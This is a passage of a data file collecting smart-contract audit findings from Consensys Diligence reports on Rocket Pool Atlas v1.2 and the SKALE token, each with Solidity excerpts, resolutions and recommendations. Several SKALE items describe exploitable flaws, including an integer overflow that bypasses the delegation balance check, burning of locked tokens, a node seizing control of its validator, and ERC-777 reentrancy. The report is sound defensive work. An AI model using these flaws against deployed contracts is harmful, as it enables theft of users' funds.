Note that abi.encode*(contractType) assumes address for contract types by default. An explicit downcast is not required. More examples of address _minipool declarations: code/contracts/contract/minipool/RocketMinipoolManager.sol:L449-L455 /// @dev Internal logic to set a minipool's pubkey /// @param _pubkey The pubkey to set for the calling minipool function _setMinipoolPubkey(address _minipool, bytes calldata _pubkey) private { // Load contracts AddressSetStorageInterface addressSetStorage = AddressSetStorageInterface(getContractAddress(\"addressSetStorage\")); // Initialize minipool & get properties RocketMinipoolInterface minipool = RocketMinipoolInterface(_minipool); code/contracts/contract/minipool/RocketMinipoolManager.sol:L474-L478 function getMinipoolDetails(address _minipoolAddress) override external view returns (MinipoolDetails memory) { // Get contracts RocketMinipoolInterface minipoolInterface = RocketMinipoolInterface(_minipoolAddress); RocketMinipoolBase minipool = RocketMinipoolBase(payable(_minipoolAddress)); RocketNetworkPenaltiesInterface rocketNetworkPenalties = RocketNetworkPenaltiesInterface(getContractAddress(\"rocketNetworkPenalties\")); More examples of RocketStorageInterface _rocketStorage casts: code/contracts/contract/node/RocketNodeDistributor.sol:L8-L13 contract RocketNodeDistributor is RocketNodeDistributorStorageLayout { bytes32 immutable distributorStorageKey; constructor(address _nodeAddress, address _rocketStorage) { rocketStorage = RocketStorageInterface(_rocketStorage); nodeAddress = _nodeAddress; Recommendation We recommend using more specific types instead of address where possible. Downcast if necessary. This goes for parameter types as well as state variable types. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.14 Redundant double casts ", "body": " Resolution The client acknowledges the finding and provided the following statement: Acknowledged. These contracts are non-upgradable. Description _rocketStorageAddress is already of contract type RocketStorageInterface. code/contracts/contract/RocketBase.sol:L78-L82 /// @dev Set the main Rocket Storage address constructor(RocketStorageInterface _rocketStorageAddress) { // Update the contract address rocketStorage = RocketStorageInterface(_rocketStorageAddress); _tokenAddress is already of contract type ERC20Burnable. code/contracts/contract/RocketVault.sol:L132-L138 function burnToken(ERC20Burnable _tokenAddress, uint256 _amount) override external onlyLatestNetworkContract { // Get contract key bytes32 contractKey = keccak256(abi.encodePacked(getContractName(msg.sender), _tokenAddress)); // Update balances tokenBalances[contractKey] = tokenBalances[contractKey].sub(_amount); // Get the token ERC20 instance ERC20Burnable tokenContract = ERC20Burnable(_tokenAddress); _rocketTokenRPLFixedSupplyAddress is already of contract type IERC20. code/contracts/contract/token/RocketTokenRPL.sol:L47-L51 constructor(RocketStorageInterface _rocketStorageAddress, IERC20 _rocketTokenRPLFixedSupplyAddress) RocketBase(_rocketStorageAddress) ERC20(\"Rocket Pool Protocol\", \"RPL\") { // Version version = 1; // Set the mainnet RPL fixed supply token address rplFixedSupplyContract = IERC20(_rocketTokenRPLFixedSupplyAddress); Recommendation We recommend removing the unnecessary double casts and copies of local variables. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.15 RocketMinipoolDelegate - Missing event in prepareVacancy ", "body": " Resolution Fixed in https://github.com/rocket-pool/rocketpool/tree/77d7cca65b7c0557cfda078a4fc45f9ac0cc6cc6 by emitting a new event MinipoolVacancyPrepared. Agreed. Added event per recommendation. Thanks. Description The function prepareVacancy updates multiple contract state variables and should therefore emit an event. Examples code/contracts/contract/minipool/RocketMinipoolDelegate.sol:L286-L309 /// @dev Sets the bond value and vacancy flag on this minipool /// @param _bondAmount The bond amount selected by the node operator /// @param _currentBalance The current balance of the validator on the beaconchain (will be checked by oDAO and scrubbed if not correct) function prepareVacancy(uint256 _bondAmount, uint256 _currentBalance) override external onlyLatestContract(\"rocketMinipoolManager\", msg.sender) onlyInitialised { // Check status require(status == MinipoolStatus.Initialised, \"Must be in initialised status\"); // Sanity check that refund balance is zero require(nodeRefundBalance == 0, \"Refund balance not zero\"); // Check balance RocketDAOProtocolSettingsMinipoolInterface rocketDAOProtocolSettingsMinipool = RocketDAOProtocolSettingsMinipoolInterface(getContractAddress(\"rocketDAOProtocolSettingsMinipool\")); uint256 launchAmount = rocketDAOProtocolSettingsMinipool.getLaunchBalance(); require(_currentBalance >= launchAmount, \"Balance is too low\"); // Store bond amount nodeDepositBalance = _bondAmount; // Calculate user amount from launch amount userDepositBalance = launchAmount.sub(nodeDepositBalance); // Flag as vacant vacant = true; preMigrationBalance = _currentBalance; // Refund the node whatever rewards they have accrued prior to becoming a RP validator nodeRefundBalance = _currentBalance.sub(launchAmount); // Set status to preLaunch setStatus(MinipoolStatus.Prelaunch); Recommendation Emit the missing event. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.16 Compiler error due to missing RocketMinipoolBaseInterface ", "body": " Resolution Fixed in https://github.com/rocket-pool/rocketpool/tree/77d7cca65b7c0557cfda078a4fc45f9ac0cc6cc6 by adding the missing interface file. Description The interface RocketMinipoolBaseInterface is missing from the code repository. Manually generating the interface and adding it to the repository fixes the error. Recommendation Add the missing source unit to the repository. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.17 Unused Imports Partially Addressed", "body": " Resolution Addressed in https://github.com/rocket-pool/rocketpool/tree/77d7cca65b7c0557cfda078a4fc45f9ac0cc6cc6 by removing all but the following two mentioned unused imports: RocketRewardsPoolInterface RocketSmoothingPoolInterface Description The following source units are imported but not referenced in the importing source unit: code/contracts/contract/rewards/RocketMerkleDistributorMainnet.sol:L11 import \"../../interface/rewards/RocketSmoothingPoolInterface.sol\"; code/contracts/contract/minipool/RocketMinipoolFactory.sol:L12-L18 import \"../../interface/minipool/RocketMinipoolManagerInterface.sol\"; import \"../../interface/minipool/RocketMinipoolQueueInterface.sol\"; import \"../../interface/node/RocketNodeStakingInterface.sol\"; import \"../../interface/util/AddressSetStorageInterface.sol\"; import \"../../interface/node/RocketNodeManagerInterface.sol\"; import \"../../interface/network/RocketNetworkPricesInterface.sol\"; import \"../../interface/dao/protocol/settings/RocketDAOProtocolSettingsMinipoolInterface.sol\"; code/contracts/contract/minipool/RocketMinipoolFactory.sol:L8-L10 import \"../../types/MinipoolStatus.sol\"; import \"../../types/MinipoolDeposit.sol\"; import \"../../interface/dao/node/RocketDAONodeTrustedInterface.sol\"; code/contracts/contract/minipool/RocketMinipoolBase.sol:L7-L8 import \"../../types/MinipoolDeposit.sol\"; import \"../../types/MinipoolStatus.sol\"; code/contracts/contract/minipool/RocketMinipoolDelegate.sol:L13-L14 import \"../../interface/network/RocketNetworkPricesInterface.sol\"; import \"../../interface/node/RocketNodeManagerInterface.sol\"; code/contracts/contract/node/RocketNodeManager.sol:L13 import \"../../interface/rewards/claims/RocketClaimNodeInterface.sol\"; code/contracts/contract/rewards/RocketClaimDAO.sol:L7 import \"../../interface/rewards/RocketRewardsPoolInterface.sol\"; Duplicate Import: code/contracts/contract/minipool/RocketMinipoolFactory.sol:L19-L20 import \"../../interface/dao/protocol/settings/RocketDAOProtocolSettingsNodeInterface.sol\"; import \"../../interface/dao/protocol/settings/RocketDAOProtocolSettingsNodeInterface.sol\"; The above list is exemplary, and there are likely more occurrences across the code base. Recommendation We recommend checking all imports and removing unused/unreferenced and unnecessary imports. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.18 RocketMinipool - Inconsistent access control modifier declaration onlyMinipoolOwner ", "body": " Resolution Acknowledged by the client. Not addressed within rocket-pool/rocketpool@77d7cca Agreed. This would change a lot of contracts just for a minor improvement in readbility. Description The access control modifier onlyMinipoolOwner should be renamed to onlyMinipoolOwnerOrWithdrawalAddress to be consistent with the actual check permitting the owner or the withdrawal address to interact with the function. This would also be consistent with other declarations in the codebase. Example The onlyMinipoolOwner modifier in RocketMinipoolBase is the same as onlyMinipoolOwnerOrWithdrawalAddress in other modules. code/contracts/contract/minipool/RocketMinipoolBase.sol:L31-L37 /// @dev Only allow access from the owning node address modifier onlyMinipoolOwner() { // Only the node operator can upgrade address withdrawalAddress = rocketStorage.getNodeWithdrawalAddress(nodeAddress); require(msg.sender == nodeAddress || msg.sender == withdrawalAddress, \"Only the node operator can access this method\"); _; code/contracts/contract/old/minipool/RocketMinipoolOld.sol:L21-L27 // Only allow access from the owning node address modifier onlyMinipoolOwner() { // Only the node operator can upgrade address withdrawalAddress = rocketStorage.getNodeWithdrawalAddress(nodeAddress); require(msg.sender == nodeAddress || msg.sender == withdrawalAddress, \"Only the node operator can access this method\"); _; Other declarations: code/contracts/contract/minipool/RocketMinipoolDelegate.sol:L97-L107 /// @dev Only allow access from the owning node address modifier onlyMinipoolOwner(address _nodeAddress) { require(_nodeAddress == nodeAddress, \"Invalid minipool owner\"); _; /// @dev Only allow access from the owning node address or their withdrawal address modifier onlyMinipoolOwnerOrWithdrawalAddress(address _nodeAddress) { require(_nodeAddress == nodeAddress || _nodeAddress == rocketStorage.getNodeWithdrawalAddress(nodeAddress), \"Invalid minipool owner\"); _; code/contracts/contract/old/minipool/RocketMinipoolDelegateOld.sol:L82-L92 // Only allow access from the owning node address modifier onlyMinipoolOwner(address _nodeAddress) { require(_nodeAddress == nodeAddress, \"Invalid minipool owner\"); _; // Only allow access from the owning node address or their withdrawal address modifier onlyMinipoolOwnerOrWithdrawalAddress(address _nodeAddress) { require(_nodeAddress == nodeAddress || _nodeAddress == rocketStorage.getNodeWithdrawalAddress(nodeAddress), \"Invalid minipool owner\"); _; Recommendation We recommend renaming RocketMinipoolBase.onlyMinipoolOwner to RocketMinipoolBase.onlyMinipoolOwnerOrWithdrawalAddress. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.19 RocketDAO*Settings - settingNameSpace should be immutable ", "body": " Resolution Acknowledged by the client. Not addressed within rocket-pool/rocketpool@77d7cca Acknowledged. We can fix this as we upgrade the related contracts. Description The settingNameSpace in the abstract contract RocketDAONodeTrustedSettings is only set on contract deployment. Hence, the fields should be declared immutable to make clear that the settings namespace cannot change after construction. Examples RocketDAONodeTrustedSettings code/contracts/contract/dao/node/settings/RocketDAONodeTrustedSettings.sol:L13-L16 // The namespace for a particular group of settings bytes32 settingNameSpace; code/contracts/contract/dao/node/settings/RocketDAONodeTrustedSettings.sol:L25-L30 // Construct constructor(RocketStorageInterface _rocketStorageAddress, string memory _settingNameSpace) RocketBase(_rocketStorageAddress) { // Apply the setting namespace settingNameSpace = keccak256(abi.encodePacked(\"dao.trustednodes.setting.\", _settingNameSpace)); RocketDAOProtocolSettings code/contracts/contract/dao/protocol/settings/RocketDAOProtocolSettings.sol:L13-L14 // The namespace for a particular group of settings bytes32 settingNameSpace; code/contracts/contract/dao/protocol/settings/RocketDAOProtocolSettings.sol:L25-L29 // Construct constructor(RocketStorageInterface _rocketStorageAddress, string memory _settingNameSpace) RocketBase(_rocketStorageAddress) { // Apply the setting namespace settingNameSpace = keccak256(abi.encodePacked(\"dao.protocol.setting.\", _settingNameSpace)); code/contracts/contract/dao/protocol/settings/RocketDAOProtocolSettingsAuction.sol:L13-L15 constructor(RocketStorageInterface _rocketStorageAddress) RocketDAOProtocolSettings(_rocketStorageAddress, \"auction\") { // Set version version = 1; Recommendation We recommend using the immutable annotation in Solidity (see Immutable). ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.20 Inefficiencies with the onlyMinipoolOwner modifier ", "body": " Resolution Acknowledged by the client. No further actions. Correct. This change would change every single contract we have and so the benefit does not outweigh the change. Description If a withdrawal address has not been set (or has been zeroed out), rocketStorage.getNodeWithdrawalAddress(nodeAddress) returns nodeAddress. This outcome leads to the modifier checking the same address twice (msg.sender == nodeAddress || msg.sender == nodeAddress): code/contracts/contract/minipool/RocketMinipoolBase.sol:L31-L37 /// @dev Only allow access from the owning node address modifier onlyMinipoolOwner() { // Only the node operator can upgrade address withdrawalAddress = rocketStorage.getNodeWithdrawalAddress(nodeAddress); require(msg.sender == nodeAddress || msg.sender == withdrawalAddress, \"Only the node operator can access this method\"); _; code/contracts/contract/RocketStorage.sol:L103-L111 // Get a node's withdrawal address function getNodeWithdrawalAddress(address _nodeAddress) public override view returns (address) { // If no withdrawal address has been set, return the nodes address address withdrawalAddress = withdrawalAddresses[_nodeAddress]; if (withdrawalAddress == address(0)) { return _nodeAddress; return withdrawalAddress; ", "labels": ["Consensys", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.21 RocketNodeDeposit - Duplicate check to avoid revert ", "body": " Resolution Fixed with rocket-pool/rocketpool@3ab7af1 by introducing a new method maybeAssignDeposits() that does not revert by default but returns a boolean instead. This way, RocketNodeDeposit directly call the maybeAssignDeposits() function, avoiding the duplicate check. This finding does not present a security-related problem in the code base, which is why we downgrade its severity to informational. However, we opted to keep this recommendation present in the report since it underlines a form of technical debt where old functionality is wrapped by new functionality using a workaround. Description When receiving and subsequently assigning deposits, the RocketNodeDeposit contract s assignDeposits function calls RocketDAOProtocolSettingsDeposit.getAssignDepositsEnabled and skips the assignment of funds. This is done because the RocketDepositPool.assignDeposits function reverts if the setting is disabled: code/contracts/contract/deposit/RocketDepositPool.sol:L207-L212 function assignDeposits() override external onlyThisLatestContract { // Load contracts RocketDAOProtocolSettingsDepositInterface rocketDAOProtocolSettingsDeposit = RocketDAOProtocolSettingsDepositInterface(getContractAddress(\"rocketDAOProtocolSettingsDeposit\")); // Revert if assigning is disabled require(_assignDeposits(rocketDAOProtocolSettingsDeposit), \"Deposit assignments are currently disabled\"); However, the underlying _assignDeposits function already performs a check for the setting and returns prematurely to avoid assignment. code/contracts/contract/deposit/RocketDepositPool.sol:L217-L219 if (!_rocketDAOProtocolSettingsDeposit.getAssignDepositsEnabled()) { return false; The rocketDAOProtocolSettingsDeposit.getAssignDepositsEnabled() setting is checked twice. The first occurrence is in RocketNodeDeposit.assignDeposits and the second one in the same flow is contained in RocketDepositPool._assignDeposits. The second check is performed in a reverting fashion, thus requiring the top-level check in the RocketNodeDeposit contract to preemptively fetch and check the setting before continuing. Recommendation Since Rocketpool v1.2 already aims to perform an upgrade on the RocketDepositPool contract, we do recommend adding a separate, non-reverting version of the RocketDepositPool.assignDeposits function to the code base and removing the redundant preemptive check in RocketNodeDeposit.assignDeposits. This will improve readability and maintainability of future versions of the code, and save gas cost on deposit assignment operations. ", "labels": ["Consensys", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.22 Inconsistent Coding Style ", "body": " Resolution The client provided the following statement: Acknolwedge your recommendation but we are dealing with an existing deployed codebase and if we change codestyle on only the contracts we update we will end up with a codebase with different code styles which is worse than one that is internally consistent but not consistent with best practice. Description Deviations from the Solidity Style Guide were identified throughout the codebase. Considering how much value a consistent coding style adds to the project s readability, enforcing a standard coding style with the help of linter tools is recommended. Inconsistent Function naming scheme for external and internal interfaces Throughout the codebase, private/internal functions are generally prefixed with an underscore (_). This allows for an easy way to see if an external party can interact with a function without having to scan the declaration line for the corresponding visibility keywords. However, this naming scheme is not enforced consistently. Many internal function names are indistinguishable from external function names. It is therefore highly recommended to implement a consistent naming scheme and prefix internal functions with an underscore (_). code/contracts/contract/node/RocketNodeDeposit.sol:L268-L283 /// @dev Reverts if vacant minipools are not enabled function checkVacantMinipoolsEnabled() private view { // Get contracts RocketDAOProtocolSettingsNodeInterface rocketDAOProtocolSettingsNode = RocketDAOProtocolSettingsNodeInterface(getContractAddress(\"rocketDAOProtocolSettingsNode\")); // Check node settings require(rocketDAOProtocolSettingsNode.getVacantMinipoolsEnabled(), \"Vacant minipools are currently disabled\"); /// @dev Executes an assignDeposits call on the deposit pool function assignDeposits() private { RocketDAOProtocolSettingsDepositInterface rocketDAOProtocolSettingsDeposit = RocketDAOProtocolSettingsDepositInterface(getContractAddress(\"rocketDAOProtocolSettingsDeposit\")); if (rocketDAOProtocolSettingsDeposit.getAssignDepositsEnabled()) { RocketDepositPoolInterface rocketDepositPool = RocketDepositPoolInterface(getContractAddress(\"rocketDepositPool\")); rocketDepositPool.assignDeposits(); code/contracts/contract/minipool/RocketMinipoolDelegate.sol:L339-L345 /// @dev Stakes the balance of this minipool into the deposit contract to set withdrawal credentials to this contract /// @param _validatorSignature A signature over the deposit message object /// @param _depositDataRoot The hash tree root of the deposit data object function preStake(bytes calldata _validatorPubkey, bytes calldata _validatorSignature, bytes32 _depositDataRoot) internal { // Load contracts DepositInterface casperDeposit = DepositInterface(getContractAddress(\"casperDeposit\")); RocketMinipoolManagerInterface rocketMinipoolManager = RocketMinipoolManagerInterface(getContractAddress(\"rocketMinipoolManager\")); code/contracts/contract/minipool/RocketMinipoolDelegate.sol:L651-L654 /// @dev Distributes the current contract balance based on capital ratio and node fee function distributeSkimmedRewards() internal { uint256 rewards = address(this).balance.sub(nodeRefundBalance); uint256 nodeShare = calculateNodeRewards(nodeDepositBalance, getUserDepositBalance(), rewards); code/contracts/contract/minipool/RocketMinipoolDelegate.sol:L661-L663 /// @dev Set the minipool's current status /// @param _status The new status function setStatus(MinipoolStatus _status) private { code/contracts/contract/node/RocketNodeDeposit.sol:L202-L206 /// @dev Adds a minipool to the queue function enqueueMinipool(address _minipoolAddress) private { // Add minipool to queue RocketMinipoolQueueInterface(getContractAddress(\"rocketMinipoolQueue\")).enqueueMinipool(_minipoolAddress); code/contracts/contract/node/RocketNodeDeposit.sol:L208-L213 /// @dev Reverts if node operator has not initialised their fee distributor function checkDistributorInitialised() private view { // Check node has initialised their fee distributor RocketNodeManagerInterface rocketNodeManager = RocketNodeManagerInterface(getContractAddress(\"rocketNodeManager\")); require(rocketNodeManager.getFeeDistributorInitialised(msg.sender), \"Fee distributor not initialised\"); code/contracts/contract/node/RocketNodeDeposit.sol:L215-L218 /// @dev Creates a minipool and returns an instance of it /// @param _salt The salt used to determine the minipools address /// @param _expectedMinipoolAddress The expected minipool address. Reverts if not correct function createMinipool(uint256 _salt, address _expectedMinipoolAddress) private returns (RocketMinipoolInterface) { code/contracts/contract/auction/RocketAuctionManager.sol:L58-L60 function setLotCount(uint256 _amount) private { setUint(keccak256(\"auction.lots.count\"), _amount); ", "labels": ["Consensys", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2023/01/rocket-pool-atlas-v1.2/"}, {"title": "5.1 uint overflow may lead to stealing funds Addressed", "body": " Resolution safeMath was added in SKALE-215. At the time of the writing this comment, the review has not been comprehensive to all arithmetic calculations in the scope. Note that in some cases usage of safeMath due to reverts can result in unexpected halting of the system, that too should be reviewed again. Description It s possible to create a delegation with a very huge amount which may result in a lot of critically bad malicious usages: code/contracts/delegation/DelegationRequestManager.sol:L74-L76 uint holderBalance = SkaleToken(contractManager.getContract(\"SkaleToken\")).balanceOf(holder); uint lockedToDelegate = tokenState.getLockedCount(holder) - tokenState.getPurchasedAmount(holder); require(holderBalance >= amount + lockedToDelegate, \"Delegator hasn't enough tokens to delegate\"); amount is passed by a user as a parameter, so if it s close to uint max value, amount + lockedToDelegate would overflow and this requirement would pass. Having delegation with an almost infinite amount of tokens can lead to many various attacks on the system up to stealing funds and breaking everything. Recommendation Using SafeMath everywhere should prevent this and other similar issues. There should be more critical attacks caused by overflows/underflows, so SafeMath should be used everywhere in the codebase. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.2 Holders can burn locked funds Addressed", "body": " Resolution Fixed in SKALE-2144 by adding proper checks in Description Skale token is a modified ERC-777 that allows locking some part of the balance. Locking is checked during every transfer: code/contracts/ERC777/LockableERC777.sol:L433-L441 // Property of the company SKALE Labs inc.--------------------------------- uint locked = _getLockedOf(from); if (locked > 0) { require(_balances[from] >= locked + amount, \"Token should be unlocked for transferring\"); //------------------------------------------------------------------------- _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); But it s not checked during burn function and it s possible to burn locked tokens. Tokens will be burned, but locked amount will remain the same. That will result in having more locked tokens than the balance which may have very unpredictable behaviour. Recommendation Allow burning only unlocked tokens. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.3 Node can unlink validator Addressed", "body": " Resolution Fixed in SKALE-2145-unlink-node by adding a check in Description Validators can link a node address to them by calling linkNodeAddress function: code/contracts/delegation/ValidatorService.sol:L109-L119 function linkNodeAddress(address validatorAddress, address nodeAddress) external allow(\"DelegationService\") { uint validatorId = getValidatorId(validatorAddress); require(_validatorAddressToId[nodeAddress] == 0, \"Validator cannot override node address\"); _validatorAddressToId[nodeAddress] = validatorId; function unlinkNodeAddress(address validatorAddress, address nodeAddress) external allow(\"DelegationService\") { uint validatorId = getValidatorId(validatorAddress); require(_validatorAddressToId[nodeAddress] == validatorId, \"Validator hasn't permissions to unlink node\"); _validatorAddressToId[nodeAddress] = 0; After that, the node has the same rights and is almost indistinguishable from the validator. So the node can even remove validator s address from _validatorAddressToId list and take over full control over validator. Additionally, the node can even remove itself by calling unlinkNodeAddress, leaving validator with no control at all forever. Also, even without nodes, a validator can initially call unlinkNodeAddress to remove itself. Recommendation Linked nodes (and validator) should not be able to unlink validator s address from the _validatorAddressToId mapping. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.4 Unlocking funds after slashing Addressed", "body": " Resolution Issue is fixed as a part of the major code changes in skalenetwork/skale-manager#92 Description The initial funds can be unlocked if 51+% of them are delegated. However if any portion of the funds are slashed, the rest of the funds will not be unlocked at the end of the delegation period. code/contracts/delegation/TokenState.sol:L258-L263 if (_isPurchased[delegationId]) { address holder = delegation.holder; _totalDelegated[holder] += delegation.amount; if (_totalDelegated[holder] >= _purchased[holder]) { purchasedToUnlocked(holder); Recommendation Consider slashed tokens as delegated, or include them in the calculation for process to unlock in endingDelegatedToUnlocked ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.5 Bounties and fees should only be locked for the first 3 months Addressed", "body": " Resolution Issue is fixed as a part of the major code changes in skalenetwork/skale-manager#92 Description Bounties are currently locked for the first 3 months after delegation: code/contracts/delegation/DelegationService.sol:L315 skaleBalances.lockBounty(shares[i].holder, timeHelpers.addMonths(delegationStarted, 3)); Instead, they should be locked for the first 3 months after the token launch. Recommendation It s better just to forbid any withdrawals for the first 3 months, no need to track it separately for every delegation. This recommendation is mainly to simplify the process. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.6 getLockedCount is iterating over all history of delegations Addressed", "body": " Resolution Issue is fixed as a part of the major code changes in skalenetwork/skale-manager#92 Description getLockedCount is iterating over all delegations of a specific holder and may even change the state of these delegations by calling getState. code/contracts/delegation/TokenState.sol:L60-L71 function getLockedCount(address holder) external returns (uint amount) { amount = 0; DelegationController delegationController = DelegationController(contractManager.getContract(\"DelegationController\")); uint[] memory delegationIds = delegationController.getDelegationsByHolder(holder); for (uint i = 0; i < delegationIds.length; ++i) { uint id = delegationIds[i]; if (isLocked(getState(id))) { amount += delegationController.getDelegation(id).amount; return amount + getPurchasedAmount(holder) + this.getSlashedAmount(holder); This problem is major because delegations number is growing over time and may even potentially grow more than the gas limit and lock all tokens forever. getLockedCount is called during every transfer which makes any token transfer much more expensive than it should be. Recommendation Remove iterations over a potentially unlimited amount of tokens. All the necessary data can be precalculated before and getLockedCount function can have O(1) complexity. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.7 Tokens are unlocked only when delegation ends Addressed", "body": " Resolution Issue is fixed as a part of the major code changes in skalenetwork/skale-manager#92 Description After the first 3 months since at least 50% of tokens are delegated, all tokens should be unlocked. In practice, they are only unlocked if at least 50% of tokens, that were bought on the initial launch, are undelegated. code/contracts/delegation/TokenState.sol:L258-L264 if (_isPurchased[delegationId]) { address holder = delegation.holder; _totalDelegated[holder] += delegation.amount; if (_totalDelegated[holder] >= _purchased[holder]) { purchasedToUnlocked(holder); Recommendation Implement lock mechanism according to the legal requirement. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.8 Tokens after delegation should not be unlocked automatically Addressed", "body": " Resolution Issue is fixed as a part of the major code changes in skalenetwork/skale-manager#92 Description When some amount of tokens are delegated to a validator when the delegation period ends, these tokens are unlocked. However these tokens should be added to _purchased as they were in that state before their delegation. code/contracts/delegation/TokenState.sol:L258-L264 if (_isPurchased[delegationId]) { address holder = delegation.holder; _totalDelegated[holder] += delegation.amount; if (_totalDelegated[holder] >= _purchased[holder]) { purchasedToUnlocked(holder); Recommendation Tokens should only be unlocked if the main legal requirement (_totalDelegated[holder] >= _purchased[holder]) is satisfied, which in the above case this has not happened. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.9 Some unlocked tokens can become locked after delegation is rejected Addressed", "body": " Resolution Issue is fixed as a part of the major code changes in skalenetwork/skale-manager#92 Description When some amount of tokens are requested to be delegated to a validator, the validator can reject the request. The previous status of these tokens should be intact and not changed (locked or unlocked). Here the initial status of tokens gets stored and it s either completely locked or unlocked: code/contracts/delegation/TokenState.sol:L205-L214 if (_purchased[delegation.holder] > 0) { _isPurchased[delegationId] = true; if (_purchased[delegation.holder] > delegation.amount) { _purchased[delegation.holder] -= delegation.amount; } else { _purchased[delegation.holder] = 0; } else { _isPurchased[delegationId] = false; The problem is that if some amount of these tokens are locked at the time of the request and the rest tokens are unlocked, they will all be considered as locked after the delegation was rejected. code/contracts/delegation/TokenState.sol:L272-L278 function _cancel(uint delegationId, DelegationController.Delegation memory delegation) internal returns (State state) { if (_isPurchased[delegationId]) { state = purchasedProposedToPurchased(delegationId, delegation); } else { state = proposedToUnlocked(delegationId); Recommendation Don t change the status of the rejected tokens. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.10 Gas limit for bounty and slashing distribution Addressed", "body": " Resolution Issue is fixed as a part of the major code changes in skalenetwork/skale-manager#92 Description After every bounty payment (should be once per month) to a validator, the bounty is distributed to all delegators. In order to do that, there is a for loop that iterates over all active delegators and sends their bounty to SkaleBalances contract: code/contracts/delegation/DelegationService.sol:L310-L316 for (uint i = 0; i < shares.length; ++i) { skaleToken.send(address(skaleBalances), shares[i].amount, abi.encode(shares[i].holder)); uint created = delegationController.getDelegation(shares[i].delegationId).created; uint delegationStarted = timeHelpers.getNextMonthStartFromDate(created); skaleBalances.lockBounty(shares[i].holder, timeHelpers.addMonths(delegationStarted, 3)); There are also few more loops over all the active delegators. This leads to a huge gas cost of distribution mechanism. A number of active delegators that can be processed before hitting the gas limit is limited and not big enough. The same issue is with slashing: code/contracts/delegation/DelegationService.sol:L95-L106 function slash(uint validatorId, uint amount) external allow(\"SkaleDKG\") { ValidatorService validatorService = ValidatorService(contractManager.getContract(\"ValidatorService\")); require(validatorService.validatorExists(validatorId), \"Validator does not exist\"); Distributor distributor = Distributor(contractManager.getContract(\"Distributor\")); TokenState tokenState = TokenState(contractManager.getContract(\"TokenState\")); Distributor.Share[] memory shares = distributor.distributePenalties(validatorId, amount); for (uint i = 0; i < shares.length; ++i) { tokenState.slash(shares[i].delegationId, shares[i].amount); Recommendation The best solution would require major changes to the codebase, but would eventually make it simpler and safer. Instead of distributing and centrally calculating bounty for each delegator during one call it s better to just store all the necessary values, so delegator would be able to calculate the bounty on withdrawal. Amongst the necessary values, there should be history of total delegated amounts per validator during each bounty payment and history of all delegations with durations of their active state. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.11 ERC-777 callback issue Partially fixed", "body": " Resolution SKALE-2153 to skalenetwork/skale-manager#128 This report raises this as an unfixed minor issue. This issue will be fixed if the upgrade capability for _getAndUpdateLockedAmount() is revoked by SKALE network governance in the future. Description ERC-777 token comes with callback functions to the receiver and the sender on every token transfer. This gives re-entrancy opportunities for everyone who s using this token. There is a chance that other systems might not handle ERC-777 correctly. Examples Uniswap reentrancy critical bug: https://medium.com/consensys-diligence/uniswap-audit-b90335ac007 Recommendation Use ERC-20 standard or remove callback function calls. Remove callback function usage from the system and replace them with a standard ERC-20 flow: code/contracts/delegation/SkaleBalances.sol:L55-L68 function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData external allow(\"SkaleToken\") address recipient = abi.decode(userData, (address)); stashBalance(recipient, amount); code/contracts/delegation/DelegationService.sol:L275-L289 function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData external allow(\"SkaleToken\") require(userData.length == 32, \"Data length is incorrect\"); uint validatorId = abi.decode(userData, (uint)); distributeBounty(amount, validatorId); ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/01/skale-token/"}, {"title": "5.12 Rename functions Addressed", "body": " Resolution Fixed in SKALE-2154-naming by renaming the functions. The functions that are not solely getters and update the state of the smart contract are renamed to have Description The naming of the functions should reflect their nature, such as functions starting with get should be only getters and do not change state. This will result in confusion developments and the implicit state changes might not be noticed. Other than getters, some other function or variable names are misleading. Examples The following functions are a few examples that are named as getters but they change the state. getState -> updateState getDelegationsTotal getDelegationsForValidator getDelegationsByHolder Some other naming that does not reflect the nature of the functionality: getPurchasedAmount -> getPurchasedUnlocked tokenState.Sold -> lock Recommendation For 